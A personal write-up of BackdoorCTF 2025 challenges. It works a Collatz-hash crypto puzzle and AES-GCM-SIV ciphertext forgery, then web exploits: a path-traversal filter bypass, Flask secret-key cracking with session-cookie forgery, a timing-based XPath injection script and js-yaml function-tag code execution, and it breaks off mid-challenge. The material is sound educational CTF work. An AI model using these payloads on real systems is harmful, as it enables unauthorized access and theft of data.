BackdoorCTF 2025 experience (and writeups)
The BackdoorCTF 2025 event lasted from December 6th-8th 2025.
Competed solo as jackp0t_4real and finished 64th of 602 teams (top 10%),


For this blog post, I will talk about some of the challenges that I have completed, and dive deep into some of the aspects for my writeup. I will focus on specific ones that I personally found fascinating.
I’ve written solutions for the following challenges:
- [Crypto] — “p34kC0nj3c7ur3”
- [Crypto] — “Ambystoma Mexicanum”
- [Web] — “Image Gallery”
- [Web] — “Flask of Cookies”
- [Web] — “Trust Issues”
- [Reversing] — “Vault”
[Crypto] — “p34kC0nj3c7ur3”
“Pave your path to ultimate hash function!”
This challenge exposes a custom “hash function” built from the Collatz iteration, wrapped in a proof-of-knowledge style protocol over a TCP service. The goal is to recover a hidden message (the flag) by sending specially crafted integers that collide under this hash and match the primality of the secret.
Understanding the challenge code
The nc server is driven by a Python snippet (chall.py) of the following form:
from Cryptodome.Util.number import isPrime, bytes_to_long, long_to_bytes
from message import message
def uniqueHash(x):
steps = 0
while x != 1:
steps += 1
if x % 2 == 0:
x = x // 2
else:
x = 3 * x + 1
if steps >= 10000:
return steps
return steps
message = bytes_to_long(message)
myHash = uniqueHash(message)
PROOF = 10
print("This is my hash of hash:", uniqueHash(myHash))
prevs = []
steps = 250
while len(prevs) < PROOF:
x = int(input("Enter your message in hex: "), 16)
if uniqueHash(x) == myHash and x not in prevs:
if isPrime(x) == isPrime(message):
prevs.append(x)
print("Correct!")
else:
print("Well Well, you failed!")
else:
print("Incorrect!")
steps -= 1
if steps == 0:
print("Enough fails!")
quit()
print("Wow! you know my message is:", long_to_bytes(message))The function uniqueHash is simply the number of iterations of the Collatz map needed to reach 1 from x, capped at 10000. The hidden message is turned into an integer and hashed once to obtain myHash. The service prints uniqueHash(myHash) (a “hash of the hash”), then expects 10 distinct integers x such that two conditions hold: uniqueHash(x) == myHash and isPrime(x) has the same truth value as isPrime(message). Only then is the flag revealed.
The surface structure therefore looks like a proof-of-knowledge: produce 10 preimages of a hash under an unknown salt (message), where the hash is this Collatz-step function, and ensure each preimage matches the message’s primality.
Recovering myHash from one line of output
On connection, the server prints:
This is my hash of hash: 25This value is H2 = uniqueHash(myHash). Since uniqueHash returns a value in the range 0..10000 and myHash itself is an integer at most 10000 (because it is also a uniqueHash output), it is possible to brute force all candidates for myHash in the range 1..10000 locally.
For each candidate h, calculate uniqueHash(h) and keep those where uniqueHash(h) == 25. That yields a relatively small list of possible myHash values. A simple local Python script can perform this precomputation:
candidates = [h for h in range(1, 10001) if uniqueHash(h) == 25]The observation then is that the Collatz function behaves predictably on powers of two. For x = 2^t, the path is:
2^t → 2^(t−1) → … → 2 → 1
so uniqueHash(2^t) = t exactly, as long as t < 10000 to avoid hitting the cap.
This provides a clean way to test each candidate h against the real server. For a candidate h, send x = 2^h. The server will compute uniqueHash(x); that equals h by construction. If h matches the true myHash, the server’s uniqueHash(x) == myHash condition passes, and it then checks primality parity.
On the live service, this probing process produced output along the lines of:
[probe] h=4017, x=2^h, resp=Well Well, you failed!
myHash = 4017 message prime? = TrueAll lower candidates produced “Incorrect!”, meaning uniqueHash(2^h) != myHash. At h = 4017, the server responded “Well Well, you failed!”, which can only happen if uniqueHash(2^h) == myHash but the primality parity check fails.
Since 2^4017 is even and therefore composite, isPrime(2^4017) is false. The message must therefore be prime for the check isPrime(x) == isPrime(message) to fail. This single probe thus determines both that myHash = 4017 and that message is a prime integer.
At this point, the hash target is known exactly; the problem reduces to generating ten distinct primes x such that uniqueHash(x) == 4017.
From brute force to a tuned search
Theapproach is to sample random large integers x, compute uniqueHash(x), and check whether it equals 4017. If so, test whether x is prime, and if so, keep it.
The first attempt followed this outline with random odd integers of fixed bit length and was run in a single process. Very quickly it became clear that this search is extremely slow: computing Collatz trajectories up to 10000 steps on large integers is expensive, primality tests are not cheap either, and the combined event “hash equals 4017 and x is prime” is rare.
The first key tweak was to reverse the order of checks inside the worker: instead of computing uniqueHash(x) for every random number and then checking primality, it is better to test primality first and only run uniqueHash on primes. For 500–600 bit numbers, primality checking (using isPrime from PyCryptodome) is significantly faster than performing up to thousands of Collatz steps on big integers. Most random odd numbers are composite, so this order of operations discards the majority of candidates before invoking the expensive hash.
The second key tweak was to choose the right bit length for x. The Collatz stopping time correlates with the magnitude of x. To hit a target value of 4017 steps, it helps to sample numbers whose bit lengths place them in the right statistical regime. Empirical sampling of random odd numbers at various bit lengths showed that 512-bit primes had a relatively high frequency of uniqueHash(x) == 4017, whereas bit lengths like 544 or 560 produced almost no hits at that exact value. In practice, testing a few thousand random primes and recording their Collatz lengths suggested that approximately one in a few hundred 512-bit primes had a hash of 4017.
Combining these observations, the search strategy became:
Generate random 512-bit odd integers. Check if an integer is prime. For primes, compute uniqueHash(x). If the hash equals 4017, record x as a valid solution.
Parallel precomputation with multiprocessing
To speed things up further, the search was parallelized across all CPU cores using Python’s multiprocessing module [Recommended for High-End PCs only]. Each worker runs an independent loop, generating primes and checking Collatz length, results are sent back to a central process via a queue. A stop event is used to coordinate termination once enough hits are found.
The worker function looked like this:
from Cryptodome.Util.number import getRandomNBitInteger, isPrime
TARGET_HASH = 4017
BITLEN = 512
def uniqueHash(x: int) -> int:
steps = 0
while x != 1:
steps += 1
if x % 2 == 0:
x //= 2
else:
x = 3 * x + 1
if steps >= 10000:
return steps
return steps
def worker(target_hash, bitlen, out_q, stop_evt, wid):
tries = 0
primes_seen = 0
while not stop_evt.is_set():
x = getRandomNBitInteger(bitlen) | 1 # random odd
tries += 1
if not isPrime(x):
if wid == 0 and tries % 100_000 == 0:
print(f"[worker {wid}] tries={tries}, primes_seen={primes_seen}")
continue
primes_seen += 1
if wid == 0 and primes_seen % 500 == 0:
print(f"[worker {wid}] primes_seen={primes_seen}")
h = uniqueHash(x)
if h == target_hash:
out_q.put(x)The main process spawns one worker per CPU core, collects hits, and stops the workers once 10 distinct primes have been gathered:
from multiprocessing import Process, Queue, Event, cpu_count
NEED = 10
def main():
n_workers = cpu_count()
print(f"[+] Using {n_workers} worker processes")
out_q = Queue()
stop_evt = Event()
procs = []
for wid in range(n_workers):
p = Process(target=worker, args=(TARGET_HASH, BITLEN, out_q, stop_evt, wid))
p.daemon = True
p.start()
procs.append(p)
found = set()
try:
while len(found) < NEED:
x = out_q.get()
if x in found:
continue
found.add(x)
print(f"[+] Found {len(found)}/{NEED}, bitlen={x.bit_length()}")
print(f" x = {hex(x)[:80]}...")
finally:
stop_evt.set()
for p in procs:
p.join()
print("[+] Done, writing primes_4017.txt")
with open("primes_4017.txt", "w") as f:
for x in found:
f.write(hex(x)[2:] + "\n")
if __name__ == "__main__":
main()Running this precompute_prime_4017.py file produced output such as:
[+] Using 12 worker processes
[+] Found 1/10, bitlen=512
x = 0xb91e92308588a02ec0eeac0c417e819ba5d31472150771d40b1f6377102a1e4b2a015d51df1f23...
[+] Found 2/10, bitlen=512
x = 0xcf8bc9c0f278d6f6080a7f3609053e866f3a04579f53df20a9868e406f535321a595de9d931965...
[+] Found 3/10, bitlen=512
x = 0xb9e3aec34b2e49be83ea74b8409a6b4ca80b92fdf2cdf1405a907c10b6e2c9669fdea772e434ef...
[+] Found 4/10, bitlen=512
x = 0xdb6fad6112505ffe26c0a81f417c99d127e173a4fc78442abfc9d505d087727255b7532bf0c0c4...
[+] Found 5/10, bitlen=512
x = 0xba26e8ced6cb41052fa14e5f21150d154ae104261c717e114f882479390fc981d04523a2ee4b74...
[+] Found 6/10, bitlen=512
x = 0xb90071fec30a817d611ad5eb54d0a3a7abca25533fa0d2bc9e405197cd6a283bc84c8afdd84ed5...
[+] Found 7/10, bitlen=512
x = 0xb2aba43b09d0b2f8f738134d3395032a67a71e6f245fa29f2b86e9b791fe8723c94f2ae0c390eb...
[+] Found 8/10, bitlen=512
x = 0xb31a211bc7001fac0bf61101ff700243ae6fa4298a3a711359f19d4595513beadac8593a6679c6...
[+] Found 9/10, bitlen=512
x = 0xb7f9f1f4419133f1ec113f23ecc9209ea66235718455a3c12a29f455bdf10bbfa8a14a18a64679...
[+] Found 10/10, bitlen=512
x = 0xbba0c33bb024631f83de1c2b44ab308818f94681812ab091968ab1c2672d92af25f25e285fd1c6...
[+] Done, writing primes_4017.txtThe script wrote all ten primes, in hex without a 0x prefix, to primes_4017.txt.
Feeding the preimages to the remote service
With 10 valid primes cached locally, the final step was simply to paste them to the remote nc server, and after that the flag is revealed with a rather thankful message.

[Crypto] — “Ambystoma Mexicanum”
The axolotl (Ambystoma mexicanum) is a species of paedomorphic mole salamander, meaning they mature without undergoing metamorphosis into the terrestrial adult form; the adults remain fully aquatic with obvious external gills.
Process involves solving the “CRYPTIC SERVICE” challenge, from reading the source to constructing a working exploit that recovers the flag from the remote service
Understanding the service
The challenge provides a Python script using AESGCMSIV from cryptography.hazmat.primitives.ciphers.aead:
from cryptography.hazmat.primitives.ciphers.aead import AESGCMSIV
import binascii
import os
KEY_SIZE = 16
NONCE_SIZE = 12
FLAG = "flag{lol_this_is_obv_not_the_flag}"
KEYS = []
CIPHERTEXTS = []
CIPHERTEXTS_LEN = 1
REQUEST = "gib me flag plis"
class Service:
def __init__(self):
self.key = self.gen_key()
self.nonce = os.urandom(NONCE_SIZE)
self.aead = b""
def gen_key(self):
self.key = os.urandom(KEY_SIZE)
return self.key
def decrypt(self, ciphertext, key):
try:
plaintext = AESGCMSIV(key).decrypt(self.nonce, ciphertext, self.aead)
return plaintext
except Exception:
return NoneA single Service instance is created, its key is appended to the global KEYS list, and there is a menu with four options: rotate key, debug, push ciphertext, request flag. The interesting part is the flag request:
elif choice == "4":
for i in range(4):
key = binascii.unhexlify(KEYS[i % len(KEYS)])
ct = binascii.unhexlify(CIPHERTEXTS[i % len(CIPHERTEXTS)])
text = service.decrypt(ct, key)[16 * i:16 * (i+1)].decode('utf-8').strip()
if not text or len(text) == 0:
print("why so rude :(\n")
exit(0)
usertext += text
if usertext == REQUEST:
print(f"Damn, you are something. Here is the flag: {FLAG}\n")
exit(0)Only one ciphertext can be stored (CIPHERTEXTS_LEN = 1), so the same ciphertext is decrypted four times, but different 16-byte slices are taken each time. The debug menu leaks the keys and nonce:
elif choice == "2":
print(f"\n{KEYS=}")
print(f"{CIPHERTEXTS=}")
print(f"nonce={service.nonce.hex()}\n")That means I can obtain the exact key and nonce used by the AEAD instance, which is enough to encrypt arbitrary plaintext offline and forge a valid ciphertext.
The goal is to make the concatenation of four 16-byte slices (after UTF-8 decode and .strip()) equal to REQUEST = "gib me flag plis".
First interaction
I connected and rotated the key once, then used debug:
nc remote.infoseciitr.in 4004
╔═══════════════════════════════════════════════════════════╗
║ CRYPTIC SERVICE ║
╚═══════════════════════════════════════════════════════════╝
∧_∧
(・ω・) Protecting your secrets one key at a time...
╔════════════════════════════════════╗
║ MAIN MENU ║
╚════════════════════════════════════╝
Choose an option:
1. rotate key
2. debug
3. push ciphertext
4. request flag
Your choice: 1
Key rotated.
╔════════════════════════════════════╗
║ MAIN MENU ║
╚════════════════════════════════════╝
Choose an option:
1. rotate key
2. debug
3. push ciphertext
4. request flag
Your choice: 2
KEYS=['78b23da9063e16c04bcd965882d0c603', 'ec2650ee17e8a12ceda6459b36ee366b']
CIPHERTEXTS=[]
nonce=7527a1a2154542ac3115e6f3This produced two keys in KEYS. In the flag loop, the code picks key = KEYS[i % len(KEYS)], so with two keys it alternates between them. A single ciphertext is only valid under the one key used to encrypt it; decryption under the other key will fail and return None, which then breaks indexing and effectively kills the service. That session is not exploitable in a realistic way.
Locally, I also made a simple mistake: I copied the second key as if it were the nonce, which caused the library to complain about nonce length:
from cryptography.hazmat.primitives.ciphers.aead import AESGCMSIV
KEY_HEX = "78b23da9063e16c04bcd965882d0c603"
NONCE_HEX = "ec2650ee17e8a12ceda6459b36ee366b" # wrong: this is a 16-byte key, not a 12-byte nonce
key = bytes.fromhex(KEY_HEX)
nonce = bytes.fromhex(NONCE_HEX)
aead = AESGCMSIV(key)
ciphertext = aead.encrypt(nonce, b"test", b"")Running this script produced:
Traceback (most recent call last):
File "build_ct.py", line 18, in <module>
ciphertext = aead.encrypt(nonce, plaintext, b"")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ValueError: Nonce must be 12 bytes longI restarted with a clean connection and did not rotate keys.
Clean run: extracting key and nonce
In a new session I connected again and immediately chose debug, without rotating the key:
KEYS=['c4f2852a7219ae0bf1519d9cd7a5db1f']
CIPHERTEXTS=[]
nonce=e45ae8ddacb46fdcc211d953Now KEYS contains a single AES key, and the nonce is a 12-byte value as expected. The server’s decrypt uses the same self.nonce every time, with empty associated data (self.aead = b"").
Crafting the plaintext
The service decrypts the same ciphertext four times and takes different 16-byte slices:
pt = AESGCMSIV(key).decrypt(nonce, ciphertext, b"")
block_i = pt[16*i:16*(i+1)].decode('utf-8').strip()
usertext += block_iThe goal is usertext == "gib me flag plis".
I chose to split the target string into four non-empty chunks, none of which starts or ends with a space, so that .strip() removes only padding spaces and keeps the useful internal spaces:
t0 = "gib m"
t1 = "e fla"
t2 = "g pli"
t3 = "s"Their concatenation is exactly gib me flag plis. For each ti, I created a 16-byte block by right-padding with spaces so that .strip() will bring it back to ti:
t0 = "gib m"
t1 = "e fla"
t2 = "g pli"
t3 = "s"
blocks = [t0, t1, t2, t3]
plaintext = "".join(b.ljust(16, " ") for b in blocks).encode("utf-8")This gives a 64-byte plaintext, made of four 16-byte blocks.
With key and nonce from debug, I used the same AEAD locally:
from cryptography.hazmat.primitives.ciphers.aead import AESGCMSIV
KEY_HEX = "c4f2852a7219ae0bf1519d9cd7a5db1f"
NONCE_HEX = "e45ae8ddacb46fdcc211d953"
key = bytes.fromhex(KEY_HEX)
nonce = bytes.fromhex(NONCE_HEX)
t0 = "gib m"
t1 = "e fla"
t2 = "g pli"
t3 = "s"
blocks = [t0, t1, t2, t3]
plaintext = "".join(b.ljust(16, " ") for b in blocks).encode("utf-8")
aead = AESGCMSIV(key)
ciphertext = aead.encrypt(nonce, plaintext, b"")
print(ciphertext.hex())The output ciphertext hex was:
b4175652a8c236ac761f8e3ff6b9ff301c636890c1d9bf554d2b34e703be6bf49b55b6f832fbb533067c8c21b359d67fc64e4d78ce25eb84c70b4e36176ffb1faf9ad49e45af33e1278574663bb60d21This ciphertext, when decrypted by the remote service with the same key and nonce, produces exactly the four padded blocks I constructed. After slicing and stripping, the server will reconstruct "gib me flag plis".
Sending the forged ciphertext and getting the flag
Back in the same nc session (with the same key and nonce, and no key rotations), I pushed this ciphertext via option 3, then requested the flag with option 4:
╔════════════════════════════════════╗
║ MAIN MENU ║
╚════════════════════════════════════╝
Choose an option:
1. rotate key
2. debug
3. push ciphertext
4. request flag
Your choice: 3
Enter ciphertext (hex): b4175652a8c236ac761f8e3ff6b9ff301c636890c1d9bf554d2b34e703be6bf49b55b6f832fbb533067c8c21b359d67fc64e4d78ce25eb84c70b4e36176ffb1faf9ad49e45af33e1278574663bb60d21
╔════════════════════════════════════╗
║ MAIN MENU ║
╚════════════════════════════════════╝
Choose an option:
1. rotate key
2. debug
3. push ciphertext
4. request flag
Your choice: 4
Damn, you are something. Here is the flag: flag{th3_4x0lo7ls_4r3_n07_wh47_th3y_s33m}The vulnerability here is a combination of leaking the exact AEAD key and nonce via the debug menu, reusing the same nonce and associated data, and assuming the user cannot forge a valid ciphertext.
[Web] — “Image Gallery”
The gallery seems calm… but a secret lies behind the scenes.
The challenge description hints that the gallery looks calm, but something else is “behind the scenes.” Visiting the remote page shows a simple dog/cat gallery, served from a Node.js application. A project tree is provided, which already reveals an important detail: there is a secret/flag.txt file outside the images directory.

The key directories and files [from given source file] are:
gallery/
images/
cat1.jpg
cat2.jpg
dog1.jpg
dog2.jpg
dogCat.jpg
public/
index.html
secret/
flag.txt
server.jsThe front-end is a small gallery app. The index.html file contains a script that loads a list of image filenames into a files array, then builds URLs like /image?file=<filename> for each one:
const url = '/image?file=' + encodeURIComponent(current.file);There is no apparent option in the UI to specify arbitrary filenames, but knowing the API route (/image) is enough to test it directly.
The real logic sits in server.js. The relevant part is the /image route:
const BASE_DIR = path.join(__dirname, 'images');
app.get('/image', (req, res) => {
let file = req.query.file || '';
try {
file = decodeURIComponent(file);
} catch (e) {
return res.status(400).send('Bad encoding');
}
file = file.replace(/\\/g, '/');
file = file.split('../').join('');
const resolved = path.join(BASE_DIR, file);
fs.readFile(resolved, (err, data) => {
if (err) {
console.error(err);
return res.status(404).send('Not found.');
}
if (resolved.endsWith('.jpg') || resolved.endsWith('.jpeg')) {
res.setHeader('Content-Type', 'image/jpeg');
} else if (resolved.endsWith('.png')) {
res.setHeader('Content-Type', 'image/png');
} else if (resolved.endsWith('.txt')) {
res.setHeader('Content-Type', 'text/plain; charset=utf-8');
}
res.send(data);
});
});The application attempts to stop directory traversal by removing occurrences of ../ from the user-supplied file parameter. BASE_DIR is fixed to the images directory, and path.join(BASE_DIR, file) is used to compute the final path.
Trying a traversal:
/image?file=../secret/flag.txtfails, because of this line:
file = file.split('../').join('');Starting from ../secret/flag.txt, the transformation becomes:
"../secret/flag.txt".split("../") // ["", "secret/flag.txt"]
.join("") // "secret/flag.txt"The result is secret/flag.txt, which stays inside images once joined with BASE_DIR:
path.join(<...>/images, "secret/flag.txt")
→ <...>/images/secret/flag.txtThis confirms the filter is working against naive ../ input, but it also suggests a different approach: arrange the input so that the removal of ../ accidentally creates a new ../.
Consider the string:
....//secret/flag.txtRunning it through the sanitizer:
file = "....//secret/flag.txt";
file = file.replace(/\\/g, '/'); // unchanged
file = file.split('../').join('');To see why this is interesting, note that "....//" contains "../" starting at the second dot:
"....//secret/flag.txt"
^^
"../" insideSplitting on "../" yields:
"....//secret/flag.txt".split("../") // ["..", "/secret/flag.txt"]Joining with the empty string gives:
"..".concat("/secret/flag.txt") // "../secret/flag.txt"So after “sanitization,” the file value that goes into path.join is actually:
../secret/flag.txtFinal path:
const resolved = path.join(__dirname + '/images', '../secret/flag.txt');This steps out of images and into the secret directory where the flag resides.
The exploit request looks like this:
http://104.198.24.52:6012/image?file=....//secret/flag.txtI used curl to demonstrate it & including the flag response:

Once the request succeeds, fs.readFile opens secret/flag.txt, the server detects the .txt extension and sets the content type to text/plain, and the response body contains the actual flag.
[Web] — “Flask of Cookies”
“A tiny Flask app that looks harmless… or does it? Some things aren’t quite what they seem, especially the parts you can’t see. Take a closer look — maybe there’s a way to convince the system you’re someone else.”
The challenge was a small Flask web app involving cookies and an /admin endpoint that returned a flag only under special conditions. I was given:
- The Flask app source files
- A local
.env(with a fake secret key) - The Python requirements
- A real remote session cookie value
Cookie CTF — Flask Session Forgery
When I opened the challenge, I was given 3 key things: the Flask source code, a local .env file with an obviously fake secret key, and a real session cookie captured from the remote instance. The task was to reach /admin and retrieve the flag.
Understanding the application logic
I started by reading through the Flask app.py:
from flask import Flask, render_template, session
from dotenv import load_dotenv
load_dotenv()
import os
app = Flask(__name__)
app.secret_key = os.environ["SECRET_KEY"]
flag_value = open("./flag").read().rstrip()
def derived_level(sess, secret_key):
user = sess.get("user","")
role = sess.get("role","")
if role == "admin" and user == secret_key[::-1]:
return "superadmin"
return "user"
@app.route("/")
def index():
if "user" not in session:
session["user"] = "guest"
session["role"] = "user"
return render_template("index.html")
@app.route("/admin")
def admin():
level = derived_level(session, app.secret_key)
if level == "superadmin":
return render_template("admin.html", flag=flag_value)
return "Access denied.\n", 403On the index route, if there is no session yet, it sets:
session["user"] = "guest"
session["role"] = "user"The interesting part is the derived_level function. To be considered "superadmin", the session has to satisfy two conditions at the same time:
roleis"admin".userequalssecret_key[::-1], i.e., the reverse of the FlaskSECRET_KEY.
The /admin route just checks this:
level = derived_level(session, app.secret_key)
if level == "superadmin":
return render_template("admin.html", flag=flag_value)So the whole challenge is can I forge a Flask session cookie whose data is:
{"role": "admin", "user": secret_key_reversed}and have it be accepted by the server?
Inspecting the given cookie
The challenge also gave me a cookie value that the remote app was setting:
eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTSYXA.6DUbCTvH_YdhA9ELOEdl9GXhAtEThe first part is URL-safe base64. I decoded it:
b'{"role":"user","user":"guest"}'So, as expected, the remote server was setting a default guest session: "user" with role "user".
At this point, it’s obvious that I can’t just edit the cookie manually. If I change "user" to "admin" or change "guest" to something else, the HMAC signature at the end of the cookie won’t match anymore, and Flask will reject it.
That means I need the real SECRET_KEY used by the remote server, not the fake one in the local .env.
Strategy: recover the Flask SECRET_KEY
Flask signs its cookies with itsdangerous using the application’s secret_key. If I take the remote cookie and try to verify it with some guessed key, I’ll either get:
- A
BadSignature/BadTimeSignatureerror (wrong key), or - A valid dictionary (right key).
This gives a brute-force approach: use a wordlist of candidate keys, and for each one, try to loads() the cookie via Flask’s own session serializer. Once one succeeds, I’ve recovered the secret key.
Small script was made using SecureCookieSessionInterface:
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import BadSignature, BadTimeSignature
REMOTE_COOKIE = "eyJyb2xlIjoidXNlciIsInVzZXIiOiJndWVzdCJ9.aTSYXA.6DUbCTvH_YdhA9ELOEdl9GXhAtE"
WORDLIST_PATH = "wordlist.txt"
iface = SecureCookieSessionInterface()
def try_key(secret):
app = Flask(__name__)
app.secret_key = secret
s = iface.get_signing_serializer(app)
if s is None:
return None
try:
return s.loads(REMOTE_COOKIE)
except (BadSignature, BadTimeSignature):
return None
with open(WORDLIST_PATH, errors="ignore") as f:
for line in f:
candidate = line.strip()
if not candidate:
continue
result = try_key(candidate)
if result is not None:
print(f"[+] FOUND SECRET_KEY: {candidate!r}")
print(f"[+] Decoded session: {result!r}")
breakI ran this against a wordlist. Eventually it printed:

That confirmed two things at once: the secret key is qwertyuiop, and my logic for verifying cookies is aligned with what the server is actually doing.
Using the key to craft a superadmin session
With the secret key in hand, the derived_level condition becomes trivial to satisfy. Given:
SECRET_KEY = "qwertyuiop"its reverse is:
"poiuytrewq"So I want the session data to be:
{
"role": "admin",
"user": "poiuytrewq"
}To make sure I generate a cookie in exactly the format Flask expects, I again let Flask do the work locally:
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
SECRET_KEY = "qwertyuiop"
app = Flask(__name__)
app.secret_key = SECRET_KEY
iface = SecureCookieSessionInterface()
serializer = iface.get_signing_serializer(app)
payload = {
"role": "admin",
"user": SECRET_KEY[::-1], # "poiuytrewq"
}
new_cookie = serializer.dumps(payload)
print(new_cookie)eyJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoicG9pdXl0cmV3cSJ9.aTeDsA.aVLHkYhoxCBpohyHcPgRgOFwcs8The new_cookie string that comes out of this is a fully signed Flask session cookie that encodes my forged admin session. It has the same three-part structure as the original: base64 payload, timestamp, and signature.
Changing the cookie and grabbing the flag
The last step is just to get the browser to send that forged cookie to the /admin route.
In the browser, I visited the site once to make sure a session cookie existed, then opened dev tools, went to the cookie storage, and replaced the value of the session cookie with the new_cookie string generated by the script. After refreshing /admin, the application treated my session as:
{"role": "admin", "user": "poiuytrewq"}derived_level returned "superadmin", and the /admin page rendered the template containing the flag.

[Web] — “Trust Issues”
“A simple admin panel… with questionable trust decisions.”
I started with the local source tree provided for the challenge. The top-level directory contained server.js, data.xml, flag.txt, the public and protected HTML files, and a tmp directory. The Node.js application in server.js used Express, cookie-parser, js-yaml, and @xmldom/xmldom with xpath. The user database was stored in data.xml, which defined at least one regular user (jdoe) and one admin user (admin) with a placeholder password.
The login logic in server.js looked like this
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('Missing username or password');
}
const query = `//user[username/text()='${username}']`;
const userNode = xpath.select(query, xmlDoc)[0];
if (userNode) {
await new Promise(resolve => setTimeout(resolve, 2000));
}
if (!userNode) {
return res.status(401).send('Invalid username or password');
}
const storedPassword = xpath.select1('string(password)', userNode);
if (storedPassword !== password) {
return res.status(401).send('Invalid username or password');
}
const sid = Math.random().toString(36).slice(2);
sessions[sid] = xpath.select1('string(username)', userNode);
res.cookie('sid', sid, {
httpOnly: true,
sameSite: 'Lax',
});
res.redirect('/index');
});The username parameter was interpolated directly into an XPath expression without escaping, inside single quotes. This allowed XPath injection. Additionally, when a matching user node existed, the server delayed the response for two seconds before checking the password. That delay provided a timing oracle: if a query matched at least one user, the response time would be significantly larger than for a query that matched nothing.
The goal in stage one was to recover the admin password from the remote instance at http://104.198.24.52:6014. I wrote a Python script that exploited this timing behavior using substring checks on the admin’s password via XPath injection. The core idea was to send login requests with a crafted username such as
admin' and substring(password/text(),1,1)='dThis produces the XPath query:
//user[username/text()='admin' and substring(password/text(),1,1)='d']If the first character of the admin password is d, this query matches the admin user node, the server waits two seconds, and then returns a 401. If not, the query matches nothing, the server responds quickly with 401, and there is no two-second delay. By measuring the response time, it is possible to determine whether the predicate was true.
The final script used for the timing attack (simplified to the working form):
import time
import string
import random
import requests
BASE_URL = "http://104.198.24.52:6014"
ALPHABET = string.ascii_lowercase + string.digits # based on observed chars
SESSION = requests.Session()
def post_with_timing(path, data, timeout=10):
url = BASE_URL + path
t0 = time.time()
r = SESSION.post(url, data=data, timeout=timeout)
dt = time.time() - t0
return r, dt
def calibrate_threshold(samples=5):
times = []
for _ in range(samples):
uname = f"no_such_user_{random.getrandbits(32)}"
r, dt = post_with_timing("/login", {"username": uname, "password": "x"})
times.append(dt)
time.sleep(0.5)
baseline = sum(times) / len(times)
return baseline + 1.0 # assume 2s delay, choose mid-point
DELAY_THRESHOLD = calibrate_threshold()
def probe_char(position, c):
expr = f"admin' and substring(password/text(),{position},1)='{c}"
r, dt = post_with_timing("/login", {"username": expr, "password": "x"})
hit = dt > DELAY_THRESHOLD
print(f"[pos={position}] trying {c!r}: dt={dt:.2f}, status={r.status_code}, hit={hit}")
time.sleep(0.5)
return hit
def dump_password(max_len=32):
password = ""
for pos in range(1, max_len + 1):
found = False
for c in ALPHABET:
if probe_char(pos, c):
password += c
print(f"partial password: {password!r}")
found = True
break
if not found:
print(f"No matching char found for position {pos}; assuming end of password.")
break
return password
if __name__ == "__main__":
pw = dump_password()
print(f"recovered admin password: {pw!r}")When run against the challenge instance, the script produced output showing the enumeration process. The key lines at the end were:
No matching char found for position 7; assuming end of password.
recovered admin password: 'df08cf'Recovered admin password was df08cf.
With the admin password recovered, I logged in to the application normally. A POST request to /login with username=admin and password=df08cf returned an HTTP redirect to /index and set an sid cookie. Navigating to /index loaded protected/index.html, which displayed a simple “Welcome” card with a link “Go to Admin Panel” pointing to /store. Clicking that link reached /store, which was protected by the requireAdmin middleware

function requireAdmin(req, res, next) {
const sid = req.cookies.sid;
if (!sid || !sessions[sid]) {
return res.redirect('/login.html');
}
const username = sessions[sid];
const query = `//user[username/text()='${username}' and role/text()='admin']`;
const userNode = xpath.select(query, xmlDoc)[0];
if (!userNode) {
return res.status(403).send('ACCESS DENIED: Admin only');
}
req.user = username;
next();
}Because the session stored the admin username and the admin account in data.xml had role admin, the request passed this check and the admin panel loaded.
The admin panel at /store contained a form to store a file in the tmp directory and a list of existing files. The relevant backend code was:
app.post('/admin/create', requireAdmin, (req, res) => {
const { filename, fileContent } = req.body;
if (!filename || !fileContent) {
return res.status(400).send('Missing filename or YAML content');
}
const datePrefix = new Date().toISOString().split('T')[0];
const safeBase = path.basename(filename);
const finalName = `${datePrefix}_${safeBase}`;
if (finalName === 'config.yml') {
return res.status(400).send('That filename is not allowed');
}
const targetPath = path.join(TMP_DIR, finalName);
try {
fs.writeFileSync(targetPath, fileContent, 'utf8');
let parsed;
try {
parsed = yaml.load(fileContent);
const applied = '' + parsed;
return res.json({
success: true,
filename: finalName,
result: applied,
});
} catch (e) {
return res.status(400).json({
success: false,
filename: finalName,
error: 'Invalid YAML',
details: e.message,
});
}
} catch (err) {
return res.status(500).json({ success: false, error: 'Failed to save file' });
}
});The key issues here were the use of yaml.load with attacker-controlled input and the conversion of parsed to a string using '' + parsed. yaml.load in js-yaml uses the full schema by default, which supports special tags such as !<tag:yaml.org,2002:js/function> that construct JavaScript functions. If the parsed object has a toString property that is a function, the expression '' + parsed calls that toString and uses its return value.
The front-end JavaScript on /store used the endpoint like this:
const res = await fetch('/admin/create', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ filename, fileContent })
});
const data = await res.json();
if (data.success) {
status.textContent = `Saved file: ${data.filename}`;
if (data.result) {
const parsedBox = document.getElementById('parsedOutput');
parsedBox.innerText = JSON.stringify(data.result, null, 2);
}
} else {
status.textContent = 'Failed to save file';
status.style.color = 'red';
}The result value from the server response was rendered in a <pre id="parsedOutput"> block.
Initial attempts to use !!js/function shorthand tags did not work correctly and produced [object Object] in the output, because the toString property was being set to a string instead of a function. The working shape required by js-yaml is the full function tag on the toString key, for example:
"toString": !<tag:yaml.org,2002:js/function> "function () { return 'hello_from_yaml'; }"
This demonstrated controlled code execution at YAML parse time: the supplied function body was being executed when '' + parsed evaluated.
"toString": !<tag:yaml.org,2002:js/function> "function () { return process.mainModule.filename; }"This showed that the application was running from /app on the container.

It matched the layout, like local files (given source code files):
.
├── data.xml
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── package.json
├── package-lock.json
├── protected
│ ├── index.html
│ └── store.html
├── public
│ ├── login.html
│ └── register.html
├── server.js
└── tmpLocally, flag.txt sat next to server.js. On the remote container, the analogous location would be /app/flag.txt.
Before reading the flag file directly, it was useful to confirm what files were present in /app. A payload to list files in appDir was used:
